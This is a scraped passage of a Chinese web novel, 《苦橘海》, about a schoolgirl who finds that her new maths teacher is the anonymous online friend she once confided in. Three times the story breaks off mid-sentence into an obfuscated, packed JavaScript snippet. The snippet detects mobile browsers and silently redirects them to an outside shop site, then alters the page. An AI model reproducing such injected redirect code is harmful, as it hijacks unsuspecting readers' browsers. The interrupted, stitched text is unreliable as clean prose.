《苦橘海》 1. 过春天(1) 2020.03 *定海市第四中学 惊蛰刚过,天气并未回暖,冬日的尾寒仍弥散在空中,卷地风来一阵料峭,摇得橘子树叶簌簌作响。 树下的长椅,传来女孩闷闷的啜泣声,任她的朋友如何在旁安慰,都止不住女孩的伤感。 “为什么……胡老师都不提前说一声……就不教我们了……”韩明月哭得肩膀一耸一耸,字不成句,粉白的脸颊也泛了红。 她生了一副娇纵明媚的脸,这一哭,全然没有了骄傲的气势,更显委屈。 赵栩抽出纸巾包里的最后一张,递给她,轻声安慰:“好啦别哭了,我也是昨天才知道的。” 胡老师是二班从前的数学老师,本次返聘,老太太本来要把二班带到毕业。谁料寒假里心脏动了大的手术,不能再从事教学工作,只能退休静养。 赵栩尽管是班里的数学课代表,也是开学前一天才知道,班里换数学老师了。 “所以……你知道谁来教咱们么?”韩明月停止抽噎,抬起泪汪汪的眼睛,期待地看向朋友。 赵栩摇摇头,“我不知道。” 女孩微卷的头发绑成了高马尾,随着摇头的动作扫过肩膀,配上额发间的鱼骨发卡,衬得精致外貌不失可爱。 感性的韩明月又开始抹眼泪,“我本来数学就差,好不容易遇见胡老师这样教得好又耐心的老师,我才不要换!” 说到最后,她的尾音上扬,尽是不满的意味。 赵栩连忙做噤声手势,“小点声。”然后指了指头顶,“二楼就是数学办公室,窗还开着,万一新老师来了怎么办?” “听见就听见,我讨厌新老师!”韩明月撅起嘴,小声抱怨。 哭了一通,她的情绪平复不少,只是眼角仍有泪痕,她看向朋友,哑声问:“还有纸吗?” “没了……”赵栩把手探向口袋,只拿出一袋纸包的塑料。 彼时微风漫过橘子树,吹落了降临的绿意,一缕似有若无的薄荷冷香蔓延开来。 “用这个吧。” 男子低沉有磁性的声音,仿佛被剥开的糖纸下,裹了一粒没有温度的冰块,悄然跃入赵栩记忆的角落。 女孩眉心微动,压下突如其来的熟稔,与韩明月同时抬头,逆着花叶的光影,望向声音的来源。 赵栩顺着那只骨节分明的手,一路向上看去,率先触及那双墨如幽涧的眸子。 那是一双并不多情的桃花眼,疏离的眼波原本平静无痕。 却在二人对视的刹那,漾起波澜。 她的心底没有来由的为之一颤。 “谢谢。”赵栩犹豫片刻,起身之后,用双手接过那一小包纸,却不小心碰到了男子的手。 男子如同触电般,迅速缩回手,敛起眸光,小声道了一声“抱歉”,正欲转身离去…… 风停之后,枝头留不住欲坠的花骨朵,连带着枝叶,直直落入他的掌心。 藏于暗处的花蕊,不管它愿不愿意,都为风轻轻拨开,被迫重见光明。 男子驻足,迟疑稍许,便轻攥起手,收起了那个误入手掌的花枝。 目送陌生人走远后,韩明月眼都直了,当然也暂时忘记了不悦的情绪,转而激动地摇着朋友的胳膊,“栩栩,你看见了吗?!” “刚才那个人,长得好帅啊!!!” 赵栩轻声叹气,道:“这就不哭了?真有出息。” 韩明月怕对方以为自己见色忘义,努力辩解:“不是我没出息!是他比明星都好看!” “行行行。”赵栩其实没看清楚那人的外貌,更不欲在这个问题上多做纠缠,拍了拍校服下摆沾染的尘土,说: “第三节课上数学,我要去和新老师做个交接,我先走了。”而后抽出一张纸,整个糊在对方脸上,“把脸洗干净了,赶紧回班。我包里有面霜……” 简单嘱咐了几句,赵栩就往高二的数学办公室走去,还不忘抬眼看向数学办公室打开的窗户。 她还是有点担心,方才她们在树下的那番对话会被新老师听见,于是乎不自觉的放慢了脚步,本来三分钟就够的路,硬是走了五分多钟才到。 站在办公室门口,赵栩发现门是半开着的,她深吸一口气,说:“报告。”随后垂下眼睑,有些底气不足地走了进去。 当她再把目光转向胡老师原来的位置,发现座位附近站着两位老师。 其中那位矮矮胖胖,带着黑框眼镜,面容和善的中年男子,是二班的班主任兼政治老师——祁东东。 “赵栩。”祁老师发现了略显局促的赵栩,招招手让她过来,接着介绍:“这位是咱班的数学老师,秦老师。” 赵栩转向这位新数学老师——只不过,是要用仰视。 面前之人身材颀长,比祁老师高出两个头不止,目测身高在一米九左右。 他身着纯黑色西装,扣子严丝合缝系到最上面一颗,看似修身显瘦的衬衣,实则堪堪遮住高大结实的轮廓。 男子亦是英俊出众,看似温润的皮相之下,实则骨相凌厉,加之淡然的神色,气质里有种说不出的冷冽。 赵栩打小就怕老师,但出于礼貌,她仍是大胆与之对视,问了一声: “秦老师好。” 不知是不是她的错觉,似乎有一丝错愕划过他眼底的那方深潭。 不过对方眼中的异样转瞬即逝,快到仿佛不曾来过。 “你好。” 秦暮野怕吓着学生,放缓神色,颔首致意,唇边扬起礼貌的笑。 他并非话多的人,这句说完后,办公室便陷入了沉默。 赵栩忽然反应过来,这位秦老师就是方才给他们递纸巾的陌生人。 那么,他十有八九已经听到了韩明月的抱怨之词。 为了不给老师留坏印象,她试探地问:“秦老师,下节是数学课,需要我帮您把书拿去教室吗?” 秦暮野是刚毕业的研究生,还没适应从学生到老师的身份转换,一时不太适应使唤学生,于是婉拒道:“谢谢你,我自己拿过去就好。” 接着,他沉吟片刻,说:“麻烦你和班里同学说一声,准备一轮复习讲义,上课要用。” “好,老师再见。”赵栩点头应下,赶紧离开了这个让她有些不适应的办公室。 出门后,她轻轻带上门,鼻尖仍萦绕着挥之不去的薄荷香。 赵栩嗅了嗅校服袖口,不过在办公室待了几分钟,她的衣服已然被清冽的香气腌渍入味。 她想,这位新老师用的香水,就像他这个人一样。 莫名冷淡。 …… 赵栩前脚刚进班,布置完相关事宜后回到了座位上,紧接着秦暮野就在一片复杂的注视之下,从容地走进教室。 “栩栩!栩栩!” 坐在赵栩旁边的韩明月偏过头去,难掩惊喜,“原来是他教咱们班!” 赵栩勉强笑笑,调侃道:“看见帅哥又不难过了是吗?” 韩明月故作委屈,刚想说些什么,便发现新数学老师朝她们的方向看来,只得默默低下头。 班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641010|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里一部分声音,是像韩明月这样,为着新数学老师长得实在不错,对他的到来表示新奇与期待。 但更多的,是对胡老师离职的不舍,以及对新老师的疑虑。 秦暮野对那些质疑声充耳不闻,开始进行自我介绍: “同学们好,这学期开始,由我来担任大家的数学老师。” “这是我的名字。” 说完,他面朝黑板,板书极为优美,笔锋遒劲有力,写下了自己的名字: 秦暮野。 赵栩端详着这个不太常规的名字,脑海中一遍又一遍过着,其人与外貌相异的低沉嗓音,难言的熟悉,如同浪潮冲刷着模糊的印记。 到底,她在哪里听过这个声音? 赵栩蹙起眉头,努力擦拭着玻璃之上的的云雾。 只差一点点,就能揭开她的疑惑。 与其他新老师不同的是,秦暮野向来言简意赅,不愿在废话上多做文章。 如“数学的重要性”“一轮复习的重要性”的场面话,以及“不懂就问”“随时欢迎大家”的客套话云云,更是一句没有。 只是简单介绍了高二下的课程安排,就直接切入正题: “请同学们翻开大一轮讲义,本节课开始复习三角函数。” 从自我介绍到正式开始上课,用了不过五六分钟。 “这就完了?” 韩明月小声说:“他今年多大了?哪个学校的毕业的?” 赵栩没有听见,而是心不在焉地翻开讲义,思绪飞远,细细思索声音的来源。 她难得犯了轴。 一定要想起新数学老师的声音,究竟在什么时候出现过。 韩明月见同桌盯着课本的目光甚是严肃,低声打趣:“怎么了姐,一个选择值得你这么上心?” “我这个数学八十来分的,都能学会。” 赵栩沉浸在自己的世界中,韩明月只当她是要好好学习,吐了吐舌头,便认真听讲。 也就是这道题不算太难,所以向来认真的赵栩才敢走神,而且走了至少十分钟的神,只为回想声音的来源。 过了一会儿,赵栩恍然反应过来,左顾右盼一番,悄悄拿出手机,登录上她最常光顾的app——红豆。 这是一款主打影评分享的软件,上个寒假,她在上面结交了一个网友:橘子海。 而她现在高度怀疑,这位“橘子海”,就是这个寒假险些被她“拉黑”,而后断联一段时间的知心网友。 怀着惴惴不安的心思,赵栩确定老师的注意力在别处,做贼似的拿出手机,登入许久未登的旧账户“苦橙”。 她做了短暂的心理建设,点开了和网友的对话框,连上蓝牙耳机,戴在左耳,有些不安地点开了语音: “你好,很抱歉现在才看到消息……” 语音所处的环境非常嘈杂,而说话之人的冷静却超然物外,给人以莫名的心安,顺着耳机流向左耳。 而右耳,是现实中秦暮野的讲授声,言语清冷,掷地有声。 两者随之呼应,从两个时空纷至沓来,赵栩一时愣住了,唯有感叹命运的巧合。 原来上个寒假不厌其烦开解她的网友,居然是自己的数学老师。 想到这里,她不由得尴尬笑笑。 “栩栩栩栩!” 赵栩仍停留在自己的世界,丝毫没注意到身旁的韩明月正在疯狂暗示。 韩明月见其没有反应,众目睽睽之下,猛拍了一下她的肩膀,焦急地说: “老师叫你!” 2. 过春天(2) 至于为什么赵栩和他突然断联许久,倒不是她真想把对方拉黑。 相反他在网络世界给人的印象非常好,涵养极高,且温和守礼。 两人聊天的次数并不算多,但主流观念还算一致,app测算出的观影重叠率居然也高达80%。 赵栩遇到了烦心事,偶尔会向ta倾诉,并凭借ta令人舒适的言语风格,与礼貌的边界感,她初步判断那应当是一位知心大姐姐,直到…… 寒假的某一天,她对着高二上的期末考试成绩,内耗了许久,然后忍不住和“橘子海”倾诉苦闷,却收到了一大段语音回复。 正当她满心欢喜的点开语音,手机里却传出了男性的声音,吓得她赶紧退出登录。 虽然他的嗓音低沉悦耳,看似能拉一波好感。 但鉴于赵栩生命中的为数不多有交集的异性,大多不是以什么正面形象出现的,故而网友带给她的幻灭让其一时接受不来。 其实对方并没有刻意隐瞒性别,更没有怀着什么坏心思,但就是让她有些不适。 “栩栩栩栩!” 同桌韩明月着急的提醒声,把赵栩从寒假的回忆中拉回现实。 在班里同学看来,在二班这片地界,论起学习认真程度,赵栩排第二,没人能排第一。 而现在她上课不认真听课看手机,实在是新鲜事。 意识到老师在叫她的名字,赵栩连忙摘下耳机,即刻站起来,等待老师发话。 当对上那双淡漠的桃花眼,她却下意识闪躲,生怕暴露一个错误的秘密。 秦暮野并没有批评她,而是转而指向白板上的例题,浅声问:“赵栩,说说这个题的思路。” 当众喊学生的名字让其“好好听讲”,终究会伤及她的面子,所以他以提问的方式,企图唤回走神的赵栩。 赵栩抬头看向PPT上的题目,看似稍微绕了一点,实际上是比较基础的题目,故而很快给出答案。 “请坐。”秦暮野微微颔首,侧过身去,继续讲解知识点。 赵栩坐下后,耳朵后知后觉的泛了红。 像她这样的乖学生,倒是头一次不专心听讲而被老师发现。尴尬和愧疚使然,让她下定决心不再胡思乱想,继续心无旁骛听课。 “我觉得秦老师讲得挺好的。”韩明月把头凑过来,满眼崇拜,“他能把这么无聊的知识点讲出花样来,我有点对他改观了。” 赵栩稍稍侧耳,随之呛她:“才一节课……你那是对他改观吗?你是对他的脸改观吧。” 接着,她不再多说,腰背挺直,目光一路跟随老师,直至下课铃响。 秦暮野把时间把控得很好,丝毫没有新老师的慌张,一节课满满当当,该讲的和拓展的都一点不落,到点下课。 下课后,赵栩沿用从前的学习习惯,利用课间时间整理错题和笔记,刚把本子打开,就听到老师在讲台上叫她的名字。 赵栩有些茫然地抬起头,意识到老师可能有任务要布置给课代表,于是跟着秦暮野出了教室。 高二下学习氛围较以往更甚,但各班的同学对于“年级里来了一位英俊的男老师”,表现出了极大的好奇心,还是忍不住探出脑袋,观察这位新数学老师。 “有件事想麻烦你。”秦暮野自带冷感的气场,似是结界,自动隔开了那些关注的眼神。 “我和胡老师分析过你们上学期历次数学考试的成绩。”接着,他拿出一份名单,修长的手指又划过上面的三组、共10个人名,说:“这几位是数学偏科的。” 赵栩偏头去看,发现第一组里有自己的名字,尴尬笑笑。 秦暮野又从讲义下抽出一个塑料文件袋,迟疑片刻,说:“能不能麻烦你把卷子发到名单上的同学手里,周日晚自习再收起来交给我。”说完,他以商量的语气,询问他的课代表。 他总觉得,一上来就提这么多的要求,会显得他这个新老师事情很多。 赵栩倒是不认为有什么,何况能获得提升数学成绩的机会,她很高兴,即刻应下:“好的老师!” 女孩生了一副灵动好看的眼睛,笑起来的时候眸中闪着碎光。恰逢屋外橘色的暖光泄入窗户,照在她清透甜美的五官。 连带着颊边痣,仿佛纯氧点墨的神来之笔。 秦暮野背光而立,羽翼般的睫毛在英挺的鼻梁上落下一片阴影,更显得那双眼睛深邃莫测。 许是他害怕记忆中的海鸥飞入窗户后,振翅挥洒下的海风会掀开他的面具,秦暮野后退一步,站进了阴影里,淡然说道:“麻烦你了。” “嗯。”赵栩回之以微笑,心里却难掩失落。 从前胡老师还教他们班的时候,在讲题之余,会拉着班里的学生嘘寒问暖,关心他们的近况。 赵栩的祖父祖母都是重男轻女的人,所以她没感受过“隔代亲”的关怀,而胡老师补上了这份温情,天冷了会让她加衣服,会给她小发卡夹起碎发,也会经常给她塞应季的水果。 可面前的秦老师,和她的对话只是例行公事,毫无感情。 这一刻,赵栩忽然很想念胡老师。 她双手接过名单和小测后,就转身离开,不让心里的酸涩外露。 而她身后的秦暮野,垂下眼眸,出神地望着走廊窗户的玻璃。 玻璃里,映出了女孩离去的身影。 回忆里的身影与现实玻璃中的倒影,本应永无交汇,奈何以一种意外的巧合,在他眼前重叠。 秦暮野的手指不自觉地蜷起,企图拢住眼底几欲蔓延的惊诧。 不过片刻,又恢复了惯有的冷漠。 …… 赵栩边看名单边走进班里,把所有注意力放在那份名单上的第三组的第一个名字: 徐仲仪。 她拧起眉头,细看了三遍才敢确认,自己居然没注意到徐仲仪转来了二班! 比起这个,她更犯愁于该怎么和这位无人敢惹的“风云人物”交涉。 “栩栩。” 赵栩的肩膀被轻拍了一下,抬头便看到了自己的另一位好朋友,朱临清。 女孩的五官有种女生男相的英气,头发干练清爽,其头发长度仿佛比寒假前又短了些,凸显出酷飒的中性风。 “他怎么来咱班了?”赵栩指着徐仲仪的名字,满脸难以置信。 二班是政史定班的重点班,而徐仲仪是艺体班的体育生,就算成绩再好,一时也难以摸到重点班的门槛。 朱临清微挑眉头,见怪不怪,“他爸给咱学校捐了五分之一个小目标。” 话音刚落,两个女孩相视一笑,心领神会。 朱临清见她为难,压低声音:“要实在不行,我帮你把数学小卷给他?”停顿片刻,转而道:“其实……他人应该不错。” “上学期的时候,周围有小混混敲诈咱学校高一的,被敲走了100元,徐仲仪听说后直接带人去了。” “之后那个小混混不仅把钱还了回来,还倒贴了一百。” 赵栩扯唇笑笑,心想反正就传达一下老师的意思,再按时收数学小测,应当不会和这种人有太多牵扯,便点点头,“那我就去了……” 她在班里扫了一眼,立马定格到班里最热闹的角落。 而人群的中心,就是徐仲仪。 “徐哥,你怎么来咱班了?” 徐仲仪的好朋友兼崇拜者——关毅,正坐在他旁边的空位,掩饰不住激动之情。 “二班不是转走一个吗,我就补上来了,为了来咱班好好学习。”徐仲仪抬眼的刹那,看到了正在向他走来的女孩,愣了片刻,便收起了叱咤风云的从容。 他一边想在男生们面前表现得健谈,一边又忍不住地紧张,只得单手托腮,意欲遮住微微发烫的脸颊。 当然,他的皮肤颜色偏深,不仔细看,根本看不出异样。 “同学。” 当赵栩站定在他座位前,徐仲仪如同条件反射般,腾地一下站起来,把周围人吓了一跳,更让赵栩无所适从。 男孩不愧为体育生,一米八八的个头杵在那里,本应压迫感极强。可他却以一种近乎立正的姿势站在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641011|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,有种说不出的乖巧,让人摸不到头脑。 徐仲仪的两只袖子都挽至肘关节以上,露出了肌肉线条优美,极富力量感的手臂。 但这在赵栩看来,有种他下一秒就要找人干仗的错觉。 赵栩不想得罪他,把小卷放在他的桌子上,简单又不失礼貌地复述了一遍老师的要求后,正打算离开,却被徐仲仪叫住: “赵栩,能请你帮我讲讲这道题吗?” 对方言语之客气,让赵栩怀疑自己听错了,有些犹豫地望向他。 男孩因秉性桀骜而上挑的眉毛,在此时微微压制,想必是发自真心想求解问题。 赵栩不想给自己惹麻烦,拿起卷子,目光聚焦到他方才指的那道题上。 尽管题很简单,她还是认真细致地讲解,生怕对方听不懂,又要返工。 徐仲仪则是醉翁之意不在酒,把人留下讲题,实则一个字都没听进去,而是借机打量着女孩。 女孩讲题时不自觉摆动的长发,像是一把粉刷,一下一下,扫在他的心上。 徐仲仪双手撑在桌子上,凝起眼眸,毫不掩饰自己炽热的眼神,直直盯着她的侧颜,一双黑眸闪着清澈的光辉,只装得下女孩一个人。 这下子,除了沉迷讲题的赵栩,就算是傻子都能看出,他对人家有意思。 旁边的男生彼此交换个眼神,捏着嗓子起哄:“徐哥,不是要来二班好好学习吗,眼睛不该盯着卷子看吗~” 另一个算是知情的男生一摆手,“你懂什么,咱徐哥来二班,啧啧……” 徐仲仪害怕被赵栩听见,小麦色面容下的绯色像是霓虹灯,转瞬便爬上了耳根。 他瞪了那帮男生一眼,假装抬脚要踹,正好赵栩讲完了题,刚要问“还有什么问题”,便看见男生抬起的脚。 那双价值上万的鞋,就这样停在半空。 “我……”徐仲仪怕女孩以为他要打人,那份痞气十足的劲儿顷刻间败退下来,赶忙解释:“我腿麻了,活动活动。” 赵栩并不否认,面前的男生生得张扬帅气,但她实在无法其生出半分好感,仅是勉强笑笑,“别忘了周末晚上交数学卷子。” 说完,她没来得及看男生欲作挽留的神态,便转身离开。 徐仲仪垂下脑袋,像只落水的小狗,哪里还有领头人的风范? “徐哥,你们都还不熟,来日方长着呢!”小弟关毅则是跳出来,适时鼓舞一下陷入气馁的大哥,“再说,咱们那么多军师呢,还有咱徐哥拿不下的人?” 徐仲仪蹙起眉头,瞥了对方一眼,锐利的眉目中尽显冷意。 面无表情的他还是有一定威慑力,男生们纷纷识趣地闭了嘴。 徐仲仪打心底里不喜欢这个说法,不仅不太尊重人,而且说得他好像一时兴起似的。 …… 周一,秦暮野不需要看晚自习,他本来要待在学校备课,却被父亲蒋周一个电话叫回了家。 确切来说,那不是他的家,只是他暂时的落脚之地,他一直觉得,于父亲而言自己只是个可有可无的存在。 他本想推脱,却被父亲那句“商量你母亲忌日的相关事宜”,堵得哑口无言。 秦暮野早逝的母亲,是他最大的软肋,尽管有万般不情愿,他还是答应了去赴那场冰冷的“家庭聚餐”。 小区那富丽堂皇的装潢,在他看来不过是败絮其中。 他站定在门前,竭力忍下胸腔里翻涌起的厌恶,眸中满是冰冷。 哪怕站到天亮,他都不想进门,他想。 不过,他的想法没维持多久,面前的门就打开了,打开门的女孩见到秦暮野,根本掩盖不住满目的欢喜。 妹妹周暮谣一早就盼着他来,更是在可视门铃里托着腮观察了他许久,从发型到西装,再到皮鞋,眼神久久难以移开。 见他久久不进门,她实在等不及了,索性直接打开门。 开门的刹那,周暮谣几乎没给秦暮野反应的机会,便飞扑过去,将人紧紧抱住。 “哥哥,你回来了!” 3. 过春天(3) 这样亲密的肢体接触让他有些不适应,秦暮野下意识想后退一步,和妹妹保持距离。 可对方生怕他跑了,将人紧紧箍住,根本动弹不得。 虽说两人是没有血缘关系的兄妹,但这样搂搂抱抱终究不妥,秦暮野扶住妹妹的肩膀,不动声色把她推开。 周暮谣也不恼,撩起披肩黑发,明艳精致的五官在灯光下愈发动人,笑起来唇边还有浅浅的酒窝。 “进来嘛~”她连拖带拽,终于把门口不情不愿的那位弄了进来。 进门后,秦暮野环视着这方大平层,满是陌生的气息,他心里的充斥着违和感,一时竟无处落脚。 “来了。” 听到父亲的声音,秦暮野搭在檀木沙发的手不自觉攥紧,敛去眼底的情绪,面无表情地抬起头来,丝毫没有开口的打算。 父子两人近在咫尺,流动在期间的紧张气氛一触即发,周暮谣年纪虽小,却感受到了大人之间的不睦,求助般地望向爸爸。 “爸爸,父子没有隔夜仇,过去的就让它过去吧。” 周暮谣从中调停,她走到周陵身旁,为他锤起了肩膀,企图让其消消气。 就这么对峙终究有失礼仪,还是秦暮野先行松口,舒展开眉间的愁绪,违心笑了笑,“爸。” 大家都是体面人,当面递过来的台阶,周陵岂能不下?他点点头,“回来就好,过来吃饭吧。” 和不太熟的人吃饭,终究浑身上下不自在,对人对己都是。除了满心盼着哥哥回来的周暮谣,两个大人如坐针毡,一顿饭吃得味同嚼蜡。 又坐了一会儿,几人有一句没一句地聊着,秦暮野几乎每隔几分钟就要看一次手表,期盼着折磨人的时光快些结束。 周陵看出了他的意图,说:“马上要下大暴雨,今晚就别走了。” “我明天要上班,这里过去有点不方便。”秦暮野即刻否决了这个决定。 周陵并不接话,而是抿了一口茶,便放下茶杯。 瓷器与桌子碰撞发出了一声脆响,其人举手投足间的威严,让旁边的周暮谣心头一惊,肩膀下意识缩紧。 秦暮野倒没有多怕父亲,只是不想在刚入职的关头,再给自己徒惹是非,可能工作都要丢了。 于是淡声应下:“知道了,我先回房间了。” …… 回到房间后,秦暮野便拿着换洗的衣物去了浴室。 解开扣子后,他淡然地注视着镜子里的自己,刻意不去看锁骨处的伤痕。 他的脖颈修长,锁骨微微凹陷,沐浴之后残留的水渍积蓄其中,原本完美又性感的轮廓,却混入一片狰狞的青紫。 好似白瓷跌入泥沼,碎纹将永远镌刻其上,再难修复。 那是父亲用重物投掷,留下的伤痕。 秦暮野的视线仅在锁骨上停留片刻,便拢上衬衣,却因胸膛处尺寸太小,他手上稍稍用了些力,上面的扣子竟被崩掉两颗。 他穿戴好后,拾起地上的扣子,打算去房间里找针线缝上,刚走出浴室,却看到站在房门前的妹妹。 此刻的秦暮野扣子只系了一半,半个胸膛裸露在外,不免有些尴尬,两人对视了一秒后,他赶忙背过身去,语气平静:“已经很晚了,明天还要上学。” 周暮谣也不避讳,直直地盯着刚沐浴完的哥哥,嗅着空气中清冽的薄荷香,令她无比心安。 与哥哥平日的不苟言笑不同,洗完澡的他头发呈顺毛状,有着与清冷气质不相符的乖巧。 发间未擦干的水珠顺着流畅的下颚,再到衣领没入胸膛,打湿了衬衫,藏在衣服下紧致精壮的肌肉,若隐若现。 周暮谣并没有打算离开的意思,眨眨无辜的大眼睛,“哥哥,我是来问你线代题的。” 秦暮野用手拢起胸前敞开的衬衣,转过身去,平静中带了些拒绝的意味: “有什么不会的题目,拍给我可以吗?明天给你回消息。” 虽然周暮谣很想和哥哥独处一会儿,但察觉到对方的婉拒之意,还是不情愿地点点头,而后绽出一个灿烂的笑容: “哥哥晚安!” 秦暮野应答,唇角勉强扬起一丝浅笑,“嗯。” 关上房门后,他眼里的笑意慢慢消失,一步一步走到窗前,静观疾风骤雨。 春雷惊万顷,打碎了玻璃的光晕,残留一片镜花水月。 秦暮野则忍不住抬起手,覆上窗户那片凌乱的光斑。 在稀缺的清辉,仍能越过时空,到达另一个人的眼眸…… 霎时间,秦暮野神思恍惚,猝不及防间就为虚妄所奴役。 他闭上眼睛,右手重重地按着太阳穴,像是一块无情的橡皮擦,强行把不该有的记忆清出脑海,另一只手探向床头柜,去取药片。 天底下怎么会有这么巧的事? 他在心里默念了一遍又一遍。 秦暮野咽下药片后,心浮气躁的症状缓解不少。 为了进一步转移注意力,他深吸一口气,难得在睡前拿起了手机。 打开手机的瞬间,他不免有些疑惑,因为许久未交谈的网友“苦橙”,给他发来了消息。 …… 赵栩回到家之后已经快晚上十一点了,她浑身上下宛如从水里捞出来一般,微卷的马尾辫塌了下来,雨水挂在睫毛上,眼神湿漉漉的,像只倔强的小鹿。 “栩栩,这是怎么了?” 妈妈赵梧楠正在与人通电话,商量工作上的事情,看到堪称狼狈的女儿,又惊讶又心疼,放下手机一路小跑到门口。 赵栩赶紧把袖子往下扯了扯,胡乱抹了一把眼角的雨水,笑着撒谎:“没事儿,就是伞给吹坏了。” 说完,她怕妈妈不信,把折断的伞架举到对方面前,然后佯装委屈:“刚下出租车就遇上大风,真倒霉。” 赵梧楠面露自责:“抱歉啊栩栩,妈妈今天有点事儿忙,晚自习没去接你。” “没事的。”赵栩若无其事摊开手,同时害怕妈妈拆穿谎言,脸都要笑僵了,唯独不敢直视妈妈的眼睛。 还好,赵梧楠一心两用,惦记着生意上的事,未能及时觉察到女儿的异样,拍了拍她的肩膀,柔声道:“早点睡。” 这关算是过了,赵栩在心里长舒一口气,连忙跑回房间。 跑回那个最令她心安的栖息之所,寻求片刻安宁。 锁上房门后,赵栩像是被抽空了最后一缕气力,瘫坐在地板上。 她强行让自己镇定下来,咬着牙,挽起黏在胳膊上的校服袖子。 三条醒目的抓痕,像是抽离不掉的孽缘,盘桓在女孩本就细腻的右手小臂上,隐隐可见泛出的血痕。 轻轻活动手臂,便会牵扯肌肤周围的神经,有种细碎的痛感。 赵栩仰望着天花板,强忍着即将滑落的泪珠,心想: 今天真是倒霉透了。 静谧的灯光,照亮了女孩眼底一汪悲伤的湖,也不怕再丢入几颗石子,搅动慌乱的河流。 赵栩用手指扯起唇角,反复告诉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641012|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : 笑一笑,一切都会过去。 今晚妈妈有事要忙,所以她是打车回的家,才下出租车,便看到有一个男人在小区周围鬼鬼祟祟地徘徊。 虽然赵栩家所在的小区是市区的高档住宅区,但安保措施仍是没有及时跟上。 赵栩起初只想赶紧跑进小区,远离这个怪人。可与男子擦肩而过时,男子却抓住了她的手腕,重重地挠了一下,同时露出了诡异的笑容。 一道惊雷劈过,电光映出男子眼中的血色。 大雨赋予黑夜冷的未知,赵栩握住伞柄双手被雨水纠缠,冷得刺骨,更让人怕得发抖。 女孩又惊又惧,第一反应,就是把头顶的伞直接向他抡过去,用撑开的伞,阻止男子的靠近。 许是男子精神上有疾病,也不害怕,直接上手撕她的伞,接着步步紧逼。 赵栩忘记了手指还在发抖,那时势单力薄的她,却在危难时机保持清醒,把手伸向书包隔层,翻出了一把壁纸刀。 “再敢过来试试。”她语气冰冷,拧紧眉头,把壁纸刀全部推出,直指不怀好意的男子。 她当时已经做好了最坏的打算,既然精神病伤人不给判刑,那就大家要死一起死。 尽管男子神志不清,但大概能判断出壁纸刀的危险,不干不净骂了两句之后,朝她吐了口水,就大摇大摆地离开了。 “——咚” 重物坠地的声音传来,把陷入回忆的赵栩拽回现实,女孩被突如其来的声音吓到,又仿佛劫后余生般,粗喘着气,胸间止不住起伏。 赵栩拿起从口袋掉出的手机,起初看到红豆app的消息,惊喜了一秒。 再打开时,发现是广告消息,转瞬的喜悦被衣服滴落的雨水浇灭。 夜晚静得可怕,更静得冷漠。 赵栩不想睡觉,也难得没有学习的心情,只想找个人说说话。 哪怕不是诉说心中苦楚,说说旁的,让她暂时忘记不愉快也好。 划了一会儿手机,赵栩更是做了稍许心理建设,才把对象锁定为: 橘子海。 当然,她已经知道,这位断交已久的网友,是讲台上的数学老师。 赵栩不想让现生朋友知道自己的不幸,所以更愿意和网友分享。找来找去,她似乎只能找到这一个能说得上话的人。 就说一次,下次绝对不找他了。 赵栩在心里发誓。 踟躇稍许,赵栩把存在备忘录里的影评发在app的影评区,随后转载给了“橘子海”。 [我希望,皮肤里的鲨鱼可以破空而出,遨游四海,替我去看落满樱花的积雪。我怕再犹豫一秒,过得了春天,过不了青春的关隘。] 几乎是瞬间,对方便回复了她: [为什么,想走过春天?”] 赵栩用手指轻划过小臂的伤痕,勉强笑笑,回复: [因为夏天白昼变长,黑夜就没有那么难熬了。] 从某种程度上来说,她并不喜欢睡觉,为着多思,怎么也睡不踏实。 因为闭上眼,那双黑暗中的手就会把她重新拽回雾障丛生的曾经。 就算睡着后,都会时时入梦,搅扰得她不得安宁。 手机那边的秦暮野,细细读了几遍后,陷入沉思,又注意了锁骨那处醒目的青紫伤斑。 他的心境渐渐明朗,眉梢亦逐渐舒展。 是啊,走过春天,说不定就能拨开看似葱茏,实则桎梏的树木,走向通往四海的夏天。 4. 向阳处的她(1) 清晨的朝阳如同一拢针脚细密的纱,随手一扬,便拂去了晚间残留的阴云,重新覆上一方朦胧的光。 晨风微凉,伴着初春的潮湿,能吹散沉寂了一夜的尘埃。 吹不散的,是学生的睡意。 赵栩踏入校门时,哈欠连天,整个人都昏沉沉的,踏在不规则的砖块上,才勉强精神了些。 各个学科都已经进入一轮复习,虽说是高二下学期,但她的学习节奏已经进入高三,各科作业都较以往增多了些。 尤其是数学,她写都写不完。 为了清醒些,赵栩猛吸了一口清晨的冷意,鼻尖却掺杂了些清爽的薄荷香。 脚步一顿时,她的身后已经被高大的人影笼罩,凭借着熟悉的香水,她很快就辨认出了来人,想装不认识都来不及了。 “秦老师好。”赵栩慢慢转过头去,略显局促轻声问好。 